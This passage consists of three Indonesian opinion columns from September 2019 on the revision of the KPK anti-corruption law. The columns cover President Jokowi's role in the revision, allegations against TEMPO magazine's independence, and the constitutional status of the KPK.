Itulah narasi yang ditulis TEMPO. “Sekarang, bola ada di tangan orang ramai. Masyarakat sipil perlu mendorong semua warga negara agar berbondong-bondong menyampaikan aspirasi mereka kepada parlemen. Jokowi sudah terpilih,” tulisnya. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Salah satu tulisan di dalam majalah TEMPO Edisi 16-22 September 2019 berjudul, “Saatnya Sama-Sama Melawan” berisi tentang ajakan kepada publik untuk melawan secara massif atas rencana Presiden Joko Widodo dan sebagian anggota DPR. “Tanpa perlawanan masif dari publik, rencana Presiden Joko Widodo dan sebagian anggota Dewan Perwakilan Rakyat untuk mengebiri kemandirian dan kewenangan KPK akan berjalan tanpa hambatan,”tulis TEMPO, 16-22 Septermber 2019 itu. Langkah Ketua KPK Agus Rahardjo dan dua wakilnya, Laode Muhammad Syarif dan Saut Situmorang, menyerahkan kembali mandat gerakan pemberantasan korupsi kepada Presiden patut didukung. Menurut TEMPO, tindakan itu menegaskan rasa frustrasi mereka atas minimnya dukungan Jokowi kepada kerja KPK belakangan ini. Contoh paling nyata adalah tindakan Presiden menyetujui rencana DPR merevisi UU Nomor 30 Tahun 2002 tentang KPK tanpa sama sekali berbicara kepada pimpinan Komisi. Sejak awal, proses revisi itu terkesan diam-diam dan tergesa-gesa. Padahal tak ada kegentingan apa pun yang memaksa pembahasannya harus dikebut pada hari-hari terakhir masa tugas parlemen periode ini. Wajar jika publik curiga ada agenda terselubung mematikan KPK. Apa pun dalih Presiden Jokowi, publik sudah pandai mencerna realitas. Faktanya: Istana setuju jika sepak terjang KPK diawasi sebuah lembaga yang merupakan kepanjangan tangan Presiden, setuju jika penyidikan bisa disetop dan status tersangka bisa dicabut, serta setuju semua pegawai KPK menjadi ASN yang tunduk kepada aturan-aturan birokrasi pemerintah. Diakui atau tidak, ketiga persetujuan itu bakal mengakhiri keberadaan KPK seperti yang kita kenal selama ini. Terpilihnya Firli Bahuri, mantan Deputi Penindakan KPK yang pernah terlibat pelanggaran etik, menjadi ketua baru komisi anti korupsi dalam sidang Komisi Hukum DPR pekan lalu menambah kecemasan kita. Kapolda Sumatera Selatan itu jelas-jelas tak punya respek terhadap kode etik, yang justru dibuat untuk memastikan tak ada konflik kepentingan dalam pemberantasan korupsi. Rekam jejak Firli membuat masa depan KPK makin memprihatinkan. Apa yang bisa diharapkan dari seorang penegak hukum yang enteng saja memberikan perlakuan khusus kepada pejabat negara dan pemimpin partai politik? Belum lagi catatan soal kasus-kasus korupsi yang sengaja dihambat atau ditunda ketika Firli menjadi pejabat KPK. Terpilihnya Firli adalah tanggung jawab Presiden Jokowi, yang memberikan mandat dan menentukan komposisi panitia seleksi. Tak berlebihan kiranya jika publik menilai Presiden sudah jatuh dalam perangkap oligarki di sekelilingnya. Para aktivis pendukung Jokowi yang kini merapat ke Istana telah gagal mengawal agenda reformasi di jantung lembaga eksekutif. Perubahan sikap dan komitmen Jokowi ini amat kentara jika kita bandingkan dengan hari-hari pertamanya menjadi presiden lima tahun lalu. Pada saat itu, bahkan untuk memilih menteri kabinetnya, Jokowi berkonsultasi lebih dulu dengan KPK. Itulah narasi yang ditulis TEMPO. “Sekarang, bola ada di tangan orang ramai. Masyarakat sipil perlu mendorong semua warga negara agar berbondong-bondong menyampaikan aspirasi mereka kepada parlemen. Jokowi sudah terpilih,” tulisnya. Menurut tulisan TEMPO , bukan saatnya lagi mendikotomikan publik berdasarkan kategori pendukung Jokowi atau Prabowo Subianto—dua kandidat presiden pada Pemilihan Umum 2019. Mengkritik Presiden bukan berarti mendukung Prabowo. Menolak pelemahan KPK bukan berarti mendukung radikalisme agama – fitnah sontoloyo yang selama ini kerap dilancarkan kepada Komisi. Puluhan juta penduduk yang mencoblos Jokowi dalam pemilihan presiden lalu harus ikut bersuara. Kritik TEMPO TEMPO “doeloe” – selama 5 tahun pemerintahan Presiden Jokowi dan Wapres Jusuf Kalla, tampak sekali dukungannya dalam penulisan. Sebelum Pilpres 2014 hingga Jokowi terpilih dan menjabat Presiden, sangat jelas keberpihakannya pada Pemerintah. Kita masih ingat, begitu dinyatakan menang Pilpres 2014, foto Jokowi diusung dan dibopong ramai-ramai oleh awak TEMPO beredar luas. Bahkan, tak cuma TEMPO cover TIME pernah menyebut, “A NEW HOPE, Indonesian President Joko Widodo Is A Force for Democracy”. Pembelaan atas kebijakan Presiden Jokowi sangat kentara sekali. Sampai ada yang menyebut bahwa TEMPO “terlibat” dalam pencitraan positif Jokowi selama ini. “Kalau kritis harusnya bukan Janji Tinggal Janji. Tapi, A New Problem,” ujar Prof. Hendrajit. Direktur Eksekutif The Global Future Institute yang juga wartawan senior itu menilai, kalau majalah kondang yang sekarang tiba tiba kritis kepada Jokowi, “Sebenarnya hanya pengen memperbaharui kontrak,” ungkapnya. “Apalagi kalau call sign yang dipakai: janji tinggal janji. Ini bukan kritis. Sejatinya masih satu rasa, cuma lagi il feel. Pengen balikan, tapi dengan saling pengertian yang baru. Jale jale,” lanjutnya. Istilah jale ini mengingatkan tulisan seseorang yang mengaku mantan wartawan TEMPO yang ditulis di Kompasiana.com. Jale menjadi kosakata Slank untuk ‘Uang Transportasi Wartawan’. Melansir Tempo.co, Selasa (12 November 2013 11:58 WIB), TEMPO bersama lembaga riset KataData dituding melakukan pemerasan terhadap Bank Mandiri berkaitan dengan kasus Rudi Rubiandini. Tudingan itu ditulis oleh penulis anonim dengan nama Jilbab Hitam, yang mengaku bekas wartawan Tempo angkatan 2006, di media sosial Kompasiana, Senin, 11 November 2013. Di tulisan berjudul "TEMPO dan KataData ‘Memeras’ Bank Mandiri dalam Kasus SKK Migas?" disebutkan Dirut PT Tempo Inti Media Tbk Bambang Harimurti menelepon Dirut Mandiri Budi Gunadi Sadikin menanyakan soal proposal KataData. KataData menawarkan diri sebagai konsultan komunikasi terkait penangkapan Direktur SKK Migas Rudi Rubiandini. Saat itu, Rudi adalah komisaris bank pemerintah itu. KataData yaitu lembaga riset yang dipimpin Metta Darmasaputra, mantan wartawan TEMPO. Menurut penulis itu, karena Mandiri tak meloloskan proposal KataData, majalah Tempo lalu menerbitkan laporan bertajuk "Setelah Rudi, Siapa Terciprat?" pada edisi 18 Agustus 2013 dengan gambar sampul Rudi Rubiandini. “Saya malah baru tahu ada proposal Metta (KataData) ke Mandiri dari tulisan ini. Kalau Tempo jauhlah dari memeras. Iklan yang diduga ‘bermasalah’ saja kami tolak kok,” kata Bambang. Menurutnya, staf humas Mandiri, Eko Nopiansyah, yang disebut dalam tulisan itu sudah ditanya, dan membantahnya. “Kata Eko, hoax, dia tak pernah bertemu dengan eks wartawan Tempo angkatan 2006, atau angkatan berapa pun, atau yang bukan eks wartawan Tempo, dan membicarakan yang dituduhkan penulis artikel itu,” kata Bambang. “Saya melihat sendiri bagaimana para wartawan TEMPO memborong saham-saham Grup Bakrie setelah TEMPO mati-matian menghajar Grup Bakrie di tahun 2008 yang membuat saham Bakrie terpuruk jatuh ke titik terendah,” tulis Jilbab Hitam. Ketika itu, tak sedikit para petinggi TEMPO yang melihat peluang itu dan memborong saham Bakrie. Dan rupanya, perilaku yang sama juga terjadi pada media-media besar lainnya seperti yang disebut Jilbab Hitam dalam tulisan tersebut. Memang, secara gaya, permainan uang dalam grup TEMPO berbeda gaya dengan grup Jawa Pos. “Teman saya di Jawa Pos mengatakan, falsafah dari Dahlan Iskan (pemilik grup Jawa Pos) adalah, gaji para wartawan Jawa Pos tidak besar,” ungkapnya. Namun, manajemen Jawa Pos menganjurkan para wartawannya untuk mencari ‘pendapatan sampingan’ di luar. “Syukur-syukur bisa mendatangkan iklan bagi perusahaan,” lanjut Jilbab Hitam. TEMPO berbeda. “Kami, wartawannya, digaji cukup besar. Start awal, di angka Rp 3 jutaan. Terakhir malah mencapai Rp 4 jutaan. Bukan untuk mencegah wartawan TEMPO bermain uang seperti yang dipikir banyak orang,” ungkapnya. Rupanya, agar para junior berpikir demikian, sementara para senior bermain proyek pemberitaan. Disebutkannya, media sekelas TEMPO, KOMPAS, Bisnis Indonesia, dan sebagainya yang disebut tadi di atas, tidak bermain Receh. Mereka bermain dalam kelas yang lebih tinggi. Mereka tidak dibayar per berita tayang seperti media ecek-ecek. “Mereka di bayar untuk suatu jasa pengawalan pencitraan jangka panjang,” tegasnya. Ketika TEMPO begitu membela Sri Mulyani, memangnya tak ada kucuran dana dari Arifin Panigoro sebagai pendana Partai SRI? Memangnya, ketika TEMPO menggembosi Sukanto Tanoto, tidak ada kucuran dana dari Edwin Surjadjaja (kompetitor bisnis Sukanto Tanoto)? Memangnya, ketika TEMPO usai menghajar Sinarmas, lalu balik arah membela Sinarmas, tidak ada kucuran dana dari Sinarmas? Memang dari mana Goenawan Mohamad mampu membangun Salihara dan Green Gallery? Memangnya, ketika TEMPO membela Menteri BUMN Mustafa Abubakar dalam Skandal IPO Krakatau Steel dan Garuda, tidak ada deal khusus antara Bambang Harimurti dengan Mustafa Abubakar? Ketika itu, “Bambang Harimurti juga Freelance menjadi staff khusus Mustafa Abubakar,” ungkap Jilbab Hitam. Memangnya, ketika TEMPO mengangkat kembali kasus utang grup Bakrie, tak ada kucuran dana dari Menteri Keuangan Agus Martowardojo yang saat itu sedang bermusuhan dengan Bakrie? Lin Che Wei sebagai penyedia data keuangan grup Bakrie yang buruk, semula menawarkan Nirwan Bakrie jasa ‘Tutup Mulut’ senilai Rp 2 miliar. Ditolak oleh bos Bakrie, Lin Che Wei kemudian menjual data ini ke Agus Marto yang sedang berseberangan dengan grup Bakrie terkait sengketa Newmont. Agus Marto sepakat bayar Rp 2 miliar untuk mempublikasi data buruk grup Bakrie tersebut. “Grup TEMPO sebagai gerbang pembuka data tersebut kepada masyarakat dan media-media lain, dapat berapa ya? Lin Che Wei dapat berapa?” tulisnya. Itulah fakta TEMPO yang mungkin selama ini tertutupi dengan tulisan-tulisan kritisnya yang “Enak Dibaca dan Perlu”. Apakah kritisnya TEMPO kepada Presiden Jokowi atas terpilihnya Firli Bahuri sebagai Ketua KPK akan berujung pada Jale-Jale (suap)?

Jokowi Yang Bertanggung Jawab Terhadap Pelemahan KPK

Masih lekat dalam benak publik hampir saban tahun KPK dibuat serial drama berdarah-darah. Situasi kondisi kali ini serupa dengan kasus cicak versus buaya. Bagi sebagian khalayak, tampilnya presiden dalam perseteruan dengan menjadi sekutu DPR tentu saja menambah bobot cerita. Sebab tidak ada lagi cicak versus buaya, tetapi cicak versus komodo. Begitulah kata banyak orang. Oleh Andi W. Syahputra Jakarta, FNN - Ada yang tak lazim dilakukan Jokowi soal upaya pembenahan Komisi Pemberantasan Korupsi (KPK). Dibandingkan masalah lain yang butuh waktu cukup lama. Tak begitu halnya dengan masalah KPK. Ada dua keputusan super cepat yang dikeluarkan Presiden Jokowi, sehingga patut dipertanyakan. Pertama, pengembalian 10 nama calom pinana (capim) KPK kepada DPR yang cuma berselang dua hari. Terhitung sejak diserahkan oleh Pansel kepada presiden. Kedua, Presiden Jokowi mengirimkan surat presiden (surpres) Nomor R-42/Pres/09/2019 terkait revisi undang-unadng KPK kepada Dewan Perwakilan Rakyat (DPR) sejak Rabu 11 Septembes 2019 kemarin. Hanya berselang lima hari sejak draft materi revisi undang-unang KPK telah diserahkan kepada Presdien sebagai pemegang kendali utama dalam urusan pemerintahan kepada DPR. Ketika itu presiden berjanji akan mengkajinya terlebih dahulu. Pada hari yang sama, pernyataaan presiden itu dikuatkan senada oleh Menteri Sekretariat Negara, Pratikno. Menurut Menteri Pratikno, sikap pemerintah sejauh ini mengenai revisi undang-undang KPK yang diajukan DPR tersebut, “banyak memerlukan koreksi”. Presiden bakal menambahkan banyak revisi pada draf yang diajukan sebelumnya. Surpres itu menjadi ganjil. Sesuai ketentuan, presiden masih punya waktu selama 60 hari untuk membahasnya terlebih dahulu. Pasal-pasal mana saja yang dinilai presiden bisa melemahkan KPK sebelum diserahkan kepada DPR. Apalagi mengingat masa bakti anggota DPR 2014-2019 tinggal menghitung hari saja. Hanya sekitar 20 hari lagi.. Tak ada alasan bagi presiden untuk tergesa-gesa melakukan koreksi. Atau memang draft itu berasal dari satu sumber yang sama? Rupanya ada kejar tayang dan target yang hendak disasar. Dari dua rangkaian peristiwa super cepat tersbut, sejatinya kesungguhan Presiden Jokowi untuk memberantas korupsi tengah mendapat ujian berat. Komitmennya tengah diuji. Seperti sedang meniti tali, antara membesarkan atau mengkerdilkan KPK. Langkah super cepat yang telah diambil presiden, sejauh ini membuat banyak orang bahkan pendukungnya mulai ragu-ragu. Akankah Jokowi sanggup untuk “selamat sampai ke seberang?” Untuk perseteruan KPK-DPR kali ini, tampak sekali presiden “main mata” dengan DPR. Sungguh, sikap kurang terpuji yang dipertontonkan di tengah konflik tahunan dua lembaga negara yang tak kunjung usai. Seperti di film kartun, KPK-Polri ibarat Tom and Jerry. Sepatutnya presiden justru hadir sebagai pengayom. Dengan kuasa eksekutif yang dimilikinya, presiden punya kekuatan untuk membatalkan atau menunda dulu pemilihan capim KPK maupun pembahasan revisi undang-undang KPK. Paling kurang tak terlalu ngotot tergesa-gesa menyampaikan Surpres kepada DPR lantaran secara ketentuan masih banyak waktu tersedia. Berilah ruang bagi komisioner KPK untuk aktif terlibat bersama pemerintah. Seolah ada keyakinan bahwa dalam tempo yang sesingkat-singkatnya pembahasan revisi undang-undang KPK akan menghasilkan undang-undang baru yang kelak menguatkan KPK. Pikiran semacam ini keliru. Waktu singkat takkan menjamin akan menjadi lebih baik. KPK bukanlah sarang taliban yang mesti diserang dari segala penjuru. Komisioner dan pegawai KPK masih berada di ranah yang selaras dengan buku manual pemberantasan korupsi. Panduan yang selama ini digadang-gadang oleh pemerintah. Kendati popularitasnya merosot, KPK masih menjadi medium bagi masyarakat dalam mencari rasa keadilan, lantaran uangnya dicuri. Sangat disayangkan, presdien justru mengambil jarak tanpa memaksimalkan perannya selaku Kepala Negara untuk mendamaikan perseteruan. Malah nimbrung bermain menjadi sekutu DPR. Draft Warisan Masih lekat dalam benak publik hampir saban tahun KPK dibuat serial drama berdarah-darah. Situasi kondisi kali ini serupa dengan kasus cicak versus buaya. Bagi sebagian khalayak, tampilnya presiden dalam perseteruan dengan menjadi sekutu DPR tentu saja menambah bobot cerita. Sebab tidak ada lagi cicak versus buaya, tetapi cicak versus komodo. Begitulah kata banyak orang. Sekilas membaca draft revisi, rupanya tak jauh beda dengan draft tahun sebelumnya yang sempat tertunda pembahasannya. Lho kok tahu? Sanagat gampang dan mudah Bandingkan kualitas Komisi III DPR saat ini periode sebelumnya (2009-2014). Lihat saja sisi produktivitas undang-undang yang berhasil ditelurkan, maupun kemampuan dalam menjaga sinergitas antar lembaga penegakan hukum. Tidak terasa perberbedaan kualitasnya. Maka tak heran bila draft revisi merupakan duplikasi dari draft Komisi III DPR periode sebelumnya. Kendati ada sedikit polesan perubahan, namun sekedar hanya untuk pembeda belaka. Substansinya draft revisi itu merupakan penjabaran dari rapat internal Komisi III DPR sewaktu dipimpin oleh Benny Kabur Harman. Selain itu, dulu ada Ahmad Yani, Fahri Hamzah, Bambang Soesatyo dan Sarifuddin Sudding. Kala itu, Ketua Komisi II DPR Benny Kabur Harman, diminta oleh Wakil Ketua DPR, Priyo Budi Santoso untuk segera merumuskan draft yang memuat 10 poin kewenangan KPK yang mesti direvisi. Intinya, KPK akan diminta fokus hanya untuk pencegahan. Jangan heran, dalam kampanye salah satu konsiderannya adalah perlunya revisi KPK, karena dinilai telah gagal dalam melakukan pencegahan. Ada pun hak penyelidikan dan penyidikan menjadi ranah polisi. Kemudian hak penuntutan diserahkan kepada Jaksa. Na'as, draft revisi undang-undang KPK tersebut akhirnya kandas di tengah jalan. Mati suri sebelum pembahasan. Kala itu, Presiden SBY tak sepenuhnya mendukung, lantaran pada masanya konflik KPK versus DPR maupun KPK versus Polri kerapkali terjadi dalam beberapa babak. SBY tak ingin sejarah mencatat dirinya sebagai presiden pencoreng noktah merah pelemahan KPK. Draft revisi itu rampung pada 23 Februari 2012. Covernya ditulis dengan judul huruf berwarna merah. Bertuliskan “Penghapusan Kewenangan Penuntutan oleh KPK”. Yang menarik ada konsideran memuat narasi pokok sebagai ruh perubahan. Begini bunyinya, “satu hal penting lainnya yang diatur dalam undang-undang ini adalah penghapusan tugas penuntutan oleh KPK”. Dalam sistem peradilan pidana terpadu, penuntutan adalah tugas kejaksaan. Kejaksaan adalah satu dan tidak terpisahkan. Dalam usulan revisi, tugas tersebut dikembalikan kepada kejaksaan, sehingga KPK diharapkan lebih focus Dalam menjalankan tugasnya. (Budi Setyarso, 2012). Penulis sepenuhnya setuju bahwa dalam rangka penguatan peradilan pidana terpadu (integrated due process of law) untuk hal penuntutan, komisioner KPK mesti terlebih dahulu berkonsultasi kepada Jaksa Agung atau Jampidsus. Setiap penuntutan harus dikonsultasikan lebih dulu. Lantas pertanyaannya, apakah benar selama ini mekanisme kebijakan penuntutan oleh Jaksa KPK mengabaikan integrated due process of law tadi? Apakah benar, kejaksaan tidak diajak turut serta memutuskan tuntutan Jaksa dalam satu perkara korupsi? Rasanya tidak benar juga. Suatu ketika, penulis pernah dikabari oleh salah seorang Jaksa sewaktu sesi penuntutan dalam persidangan perkara korupsi di Pengadilan Negeri Jakarta Pusat. Sidang molor dimulai. Sang Jaksa mengabari bahwa rencana tuntutan (rentut) masih dikonsultasikan dengan Kejaksaan. “Tunggu persetujuan Sisiangamangaraja satu dulu,” begitu katanya. Tak kalah pentingnya. Draft revisi juga mencantumkan ketentuan tentang Dewan Pengawasan yang bertugas mengawasi pelaksanaan tugas dan wewenang KPK. Usulan ini boleh dibilang upaya pembonsaian kinerja KPK. Lho kok begitu? Selain menciptakan spriral pengawas yang tak berujung, kehadiran Dewan Pengawas tetap saja tak menjamin Dewan Pengawas bekerja independen. Kehadiran Dewan Pengawas justru memunculkan kekuatiran kinerja KPK akan dintervensi atau direcoki dari dalam. Lagi pula selama ini KPK sudah dilengkapi dengan Pengawas Internal dan eksternal. Pengawas internal yakni Komite Etik dan Penasehat Internal. Dalam rangka perbaikan, Penasehat Internal perlu diperluas bobot kewenangannya dengan fungsi pengawasan. Tanpa perlu lagi dibuat organ baru yang justru akan menimbulkan over laping. Sedangkan, pengawasan eksternal, selama ini sudah tertata baik. Lewat medium Rapat Dengar Pendapat (RDP) antara KPK dengan Komisi III DPR sebagai mitra kerja. Komisi III DPR telah berfungsi sebagai pengawas eksternal. Tak cuma itu, ada RDP gabungan antara Komisi III DPR, Polri, KPK dan kejaksaan. Tujuannya untuk membangun sinergitas dan koordinasi antara intitusi penegak dengan lembaga pengawas eksternal. Publik juga secara terbuka dapat turut mengawasi dan menilai KPK. Caranya dengan mengirimkan laporan kepada Komite Etik maupun Penasehat Internal terhadap penyidik yang bermasalah. Kehadiran Dewan Pengawas adalah justru dianggap sebagai upaya legitimasi transformasi perubahan fungsi dan peran KPK dalam pemberantasan korupsi. Terkait dengan pemberlakuan SP3, memang KPK mesti membuka diri. SP3 adalah instrumen dalam menciptakan kepastian hukum. Adanya keterbatasn personal dan rumitnya data dalam pengumpulan alat bukti ditenggarai menjadi sebab kinerja KPK terbatas. Belum lagi pergulatan di internal KPK yang membuat pengambilan keputusan berjalan lamban. Sehingga berlawanan dengan masyarakat yang menghendaki kasus-kasus kakap diungkap sesegera mungkin. Kegagalan dalam merumuskan, mencari dan mengumpulkan alat bukti boleh jadi menjadi beban tersendiri dalam membidik kasus. Penyelidikan tak bisa ditingkatkan lantaran tak cukup bukti. Sementara KPK tak mengenal SP3 untuk menghentikan kasus yang terlanjur diselidiki dan ditingkatkan ke penyidikan. Tak heran, banyak kasus menumpuk tak terselesaikan dalam waktu lebih dari dari dua tahun. Contohnya kasus R.J Lino, mantan Dirut PT Pelindo II yang telah ditetapkan KPK sebagai tersangka hamper genap empat tahun, sejak akhir 2015 Akibatnya, tersangka hidup tanpa kepastian hukum. Solusimya adalah penyidik KPK harus diberikan kewenangan untuk mengeluarkan SP3. Selama lebih dari tiga tahun kinerjanya tak beranjak mengalami kemajuan, maka SP3 adalah cara terhormat untuk memberikan kepastian hkum kepada tersangka. SP3 juga diberikan untuk kasus-kasus yang mandeg penangananya. Dengan begitu, penyidik dituntut untuk lebih professional dalam bekerja. Lonceng Kematian Lonceng telah dikumandangkan. Presiden dan DPR telah bersekutu untuk memulai pembahasan revisi undang-undang KPK dengan satu tafsir. Tidak ada poin krusial yang diperdebatkan, sehingga tidak butuh waktu panjang untuk membahasnya. KPK sebagai lembaga superbody yang independen tengah dipertaruhkan. Tanpa dukungan Presiden dan legislatif, sulit berharap Komisi mampu bekerja maksimal. Andai kedua pihak, presiden dan DPR bersekutu itu menggunakan otoritasnya untuk mengubah keadaan KPK, seperti yang terjadi saat ini, maka lonceng kematian KPK sudah tiba. Indikasinya sudah mulai tampak jelas. Namun sebelum lonceng kematian itu berbunyi, pengunduran diri serentak tiga Komisioner KPK menjadi jalan pintas penyelamatan. Pengunduran diri tiga komisioner KPK mesti dibarengi dengan penyerahan mandat kepada Presiden disertai surat resmi secara tertulis. Tindakan ini bukan tanpa dasar dan menyalahi ketentuan. Hal itu diatur dalam UU No. 30 Tahun 2002 tentang KPK. Pasal 32 ayat (1) butir 5 menyebutkan bahwa pemimpin komisi berhenti atau diberhentikan karena alasan mengundurkan diri. Opsi ini mestinya bisa dipakai komisioner KPK untuk bargaining kepada Presiden. Mendesak agar komisioner KPK diberikan ruang partisipasi sejajar dengan mitranya dalam melakukan pembahasan revisi. Pembangkangan para komisioner bukan lantaran adanya rencana perubahan, tetapi lantaran tak pernah ikut dilibatkan dalam merumuskan revisi undang-undang KPK. Kondisi semacam ini mengandung makna, arah pembahasan digelar in absentia alias tanpa keterlibatan komisioner. Dengan kata lain, tak ada lagi pintu untuk diskusi. Keputusan Presiden mengirimkan surpres ditafsirkan Presiden ingin revisi segera kelar. Bukankah sikap tergesa-gesa ini dapat diartikan ada target yang hendak dicapai? Dengan pembahasan yang tergesa-gesa, tak akan ada solusi pemberantasan korupsi yang bakal memuaskan publik. Sebaliknya, komentar presiden dalam konprensi pers Jum’at (13/9/2019) kemarin malah muncul kesan kuat presiden tak punya pengetahuan sedikit pun mengenai revisi. Sikap Presiden ini jelas berbahaya. Dugaan adanya konspirasi dibalik upaya pelemahan KPK bisa samakin kuat. Bila dibiarkan berlanjut, bisa-bisa terjadi krisis kepercayaan terhadap presiden yang katanya dipilih oleh mayoritas rakyat itu. Presiden harus tegas bersikap menunda pembahasan dan mengundang komisioner KPK untuk turut aktif terlibat. Kini, yang dibutuhkan hanya tinggal ketegasan. Presiden tinggal perintahkan koalisi parpol pendukungnya agar menunda pembahasan. Dengan cara itu kita masih percaya bahwa presiden memang punya semangat dan komitmen kuat dalam soal pemberantasan korupsi. Persis seperti yang disampaikannya dalam kampanye pilpres tempo hari. Sekarang ini waktu yang tepat bagi publik untuk menagih janji Presiden. Publik butuhj pembuktian dari presdien bahwa program anti korupsi yang terlanjur muluk disampaikan itu bukan sekedar pepesan kosong belaka. Tentu Presiden mesti bernyali, tetapi adakah nyali itu? Wallahu ‘alam bissawab Penulis adalah Praktisi Hukum dan Pegiat Anti Korupsi

Ada Bara Kecil di KPK

Mengasingkan KPK yang ditugasi oleh undang-undang melaksanakan satu urusan pemerintahan, khususnya pemberantasan korupsi, sebagai lembaga yang berada diluar kekuasaan eksekutif presiden, jelas bertentangan dengan UUD 1945. Itu disebabkan UUD 1945 cukup tegas mengatur urusan itu sebagai urusan pemerintahan yang harus dan wajib dilaksanakan oleh presiden. Tidak perduli siapapun orangnya yang mejabat sebagai presiden itu. Oleh Margarito Kamis Jakarta, FNN - Demokrasi sejauh ini telah diterima sebagai tatanan politik paling akseptabel di antara tatanan lainnya. Tetapi pada saat yang sama tidak boleh dilupakan bahwa demokrasi juga mengandung sisi manipulatif yang canggih. Sayangnya, sisi manipulatif ini terlalu sering terabaikan. Salah satu sisi manipulatifnya adalah bentangan jarak teramat jauh antara pemilih dengan mereka yang dipilih. Akibat nyatanya adalah pemilih tak tahu apa yang dilakukan oleh mereka yang terpilih. Sungguhpun begitu demokrasi memiliki satu postulat paling mengagumkan. Postulat itu adalah tidak boleh ada organisasi negara atau pemerintah di negara demorasi yang bebas dari pengawasan. Singkatnya tidak boleh ada organisasi negara atau pemerintah yang tak terkontrol. Deteil kontrol terhadap setiap organisasi negara atau pemerintah, dalam semua negara demokrasi didefenisikan dalam hukum. Itu prinsipil sebagai nilai fundamental demokrasi yang bersendikan rule of law. Postulat lainnya yang sama mengagumkan adalah tentang hak dan kewenangan. Postulat ini, dalam garis besarnya menggariskan hak dan kewenangan hanya ada dalam hukum. Hanya dalam hukumlah hak dan kewenangan ditemukan. Tidak lebih, tidak juga atas suka atau tidak suka. Apa konsekuensinya? Pejabat atau organ negara sehebat apapun tidak bisa, dengan alasan apapun, menciptakan sendiri atau mengarang sendiri hak dan kewenangannya. Postulat ini memang terlihat ekstrim, tetapi hanya itu cara memelihara, bukan hanya demokrasi tetapi juga tertib bermasyarakat. Boleh saja postulat ini diremehkan dengan menyodorkan perspektif hukum progresif khas Philiph Selznick, atau perspektif teori keadilan Richard Posner. Dua ahli hukum dan hakim agung Amerika Serikat yang memutus hasil sengketa pemilu antara Al-Gore dengan George Wolker Bush, Jr. Boleh juga postulat itu dituduh tipikal positifistik Hans Kelsen, ahli hukum yang tersohor di dunia ilmu hukum dengan teori hukum berjenjang yang gemilang itu. Tetapi demokrasi tidak menyediakan argumen lain yang falid untuk menyangkalnya. Tragis memang. Namun demokrasi dan rule of law mengenyampingkan rasa etik dan rasa moral untuk ditembakan sebagai peluru berdaya ledak mematikan terhadap norma hukum yang secara positif berlaku. Demokrasi memang tidak mengharamkan “legitimasi” atas hukum. Itu jelas dan sangat jelas. Namun harus diketahui bahwa demokrasi dan rule of law menghormati legitimasi sebagai yang amat sangat sosiologis dan politis. Larry Cata Backer, professor hukum pada The Dickinson School of Law of the Pensylvania State University, penulis article From Constitution to Constitutionalism : A Global Framwork for Legitimate Public Power System, mengakuinya. Pengakuannya terlihat mengagumkan. Katanya konstitusi tanpa legitimasi bukan konstitusi dalam keseluruhannya. Legitimasi, dalam pandangan profesional akademiknya merupakan satu fungsi nilai. Berposisi sebagai fundasi konstitusionalism. Legitimasi, karena itu menurut Larry berfungsi sebagai instrumen evaluatif terhadap derajat responsifitas atau akseptabilitas atau kesesuaian norma hukum positif dengan hasrat masyarakat secara empiris. Sebatas itu, tak lebih. Demokrasi dan rule of law tak menerima legitimasi sebagai norma hukum. Bara Yang Bagus Nama dan lambang kantor Komisi Pemberantasan Tindak Pidana Korupsi (KPK), mengandung sifat dan nilai hukum sebagai nomenklatur lembaga negara. Menariknya dua huruf dari nomenklatur itu ditutupi kain hitam, sehingga nomenklatur itu tak dapat dikenali secara utuh untuk beberapa saat. Fakta itu nyatanya mengusik sebagian orang. Keterusikan mereka, sejauh yang terlihat diekspresikan melalui unjuk rasa ramai di depan kantor KPK. Cukup bising unjuk rasanya. Apalagi diselingi adu argumen antara beberapa orang di antara mereka dengan orang lain, entah siapa. Selang beberapa jam sesudah itu, muncul bara lain, bara kecil yang menyehatkan. Bara itu adalah beberapa Komisioner KPK melalui konfrensi pers menyatakan menyerahkan tugas pengelolaan pemberantasan korupsi kepada Presiden. Walau terlambat, tetapi sikap itu bagus. Mengapa bagus? Peristiwa ini bernilai sebagai pengakuan tersurat bahwa secara konstitusional pemberantasan korupsi merupakan urusan pemerintahan. Kewenangan melaksanakan urusan itu berada ditangan presiden. Pasal 4 ayat (1) UUD 1945 tegas mengatur Presiden memegang kekuasaan pemerintahan menurut UUD. Konsekuensi konstitusionalnya melaksanakan undang-undang adalah kewenangan Presiden. Pasal lain dalam konteks melaksanakan UU, yang secara konstitusional sepenuhnya bersifat urusan pemerintahan. Bukan urusan peradilan atau yudikatif seperti diatus dalam pasal 5 ayat (1) UUD 1945. Tegas pasal 5 ayat (1) UUD 1945 mengatur Presiden berhak mengajukan rancangan undang-undang kepada DPR. Kewenangan ini, menurut konstitusi, dengan alasan apapun tidak dapat didelegasikan kepada lembaga negara lain. Apapun nama lembaga negara tersebut. Termasuk dan tidak terbatas pada lembaga yang pembentukannya diperintahkan oleh undang-undang. KPK misalnya. Lebih jauh UUD 1945 meneguhkan sifat urusan melaksanakan undang-unang dengan pengaturan rigid pada pasal 9 ayat (1) UUD 1945. Pasal ini mengatur secara cukup terang dan tegas tentang sumpah presiden memegang teguh UUD dan menjalankan segala undang-undang dan peraturan selurus-lurusnya, serta berbakti kepada nusa dan bangsa. Sangat jelas sekali tugas konstitusional tersebut kepada presiden. Rangkaian pasal di atas, dalam sifat konstitusionalnya mengisolasi semua pemikiran kreatif yang berkencenderungan membelokan kewenangan presiden melaksanakan undang-undang sebagai urusan pemerintahan. Urusan yang ada dalam kekuasaannya sebagai presiden. Itu sebabnya kesediaan Komisioner KPK menyerahkan tugas pengelolaan pemberantasan korupsi kepada presiden, sembari menanti pengarahan presiden lebih jauh, harus dilihat dan diterima sebagai langkah yang sangat tepat. Sebuah refleksi meyakinkan secara konstitusional bahwa presiden merupakan satu-satunya figur konstitusi yang memegang kewenangan, kewajiban dan tanggung jawab melaksanakan semua urusan pemerintahan. Di dalamnya termasuk melaksanakan undang-undang memberantas korupsi. Tepat Menurut UUD 1945 Mengasingkan KPK yang ditugasi oleh undang-undang melaksanakan satu urusan pemerintahan, khususnya pemberantasan korupsi, sebagai lembaga yang berada diluar kekuasaan eksekutif presiden, jelas bertentangan dengan UUD 1945. Itu disebabkan UUD 1945 cukup tegas mengatur urusan itu sebagai urusan pemerintahan yang harus dan wajib dilaksanakan oleh presiden. Tidak perduli siapapun orangnya yang mejabat sebagai presiden itu. Memang secara keilmuan, kekuasaan presiden dapat dibatasi melalui undang-undang. Ketika undang-undnag telah 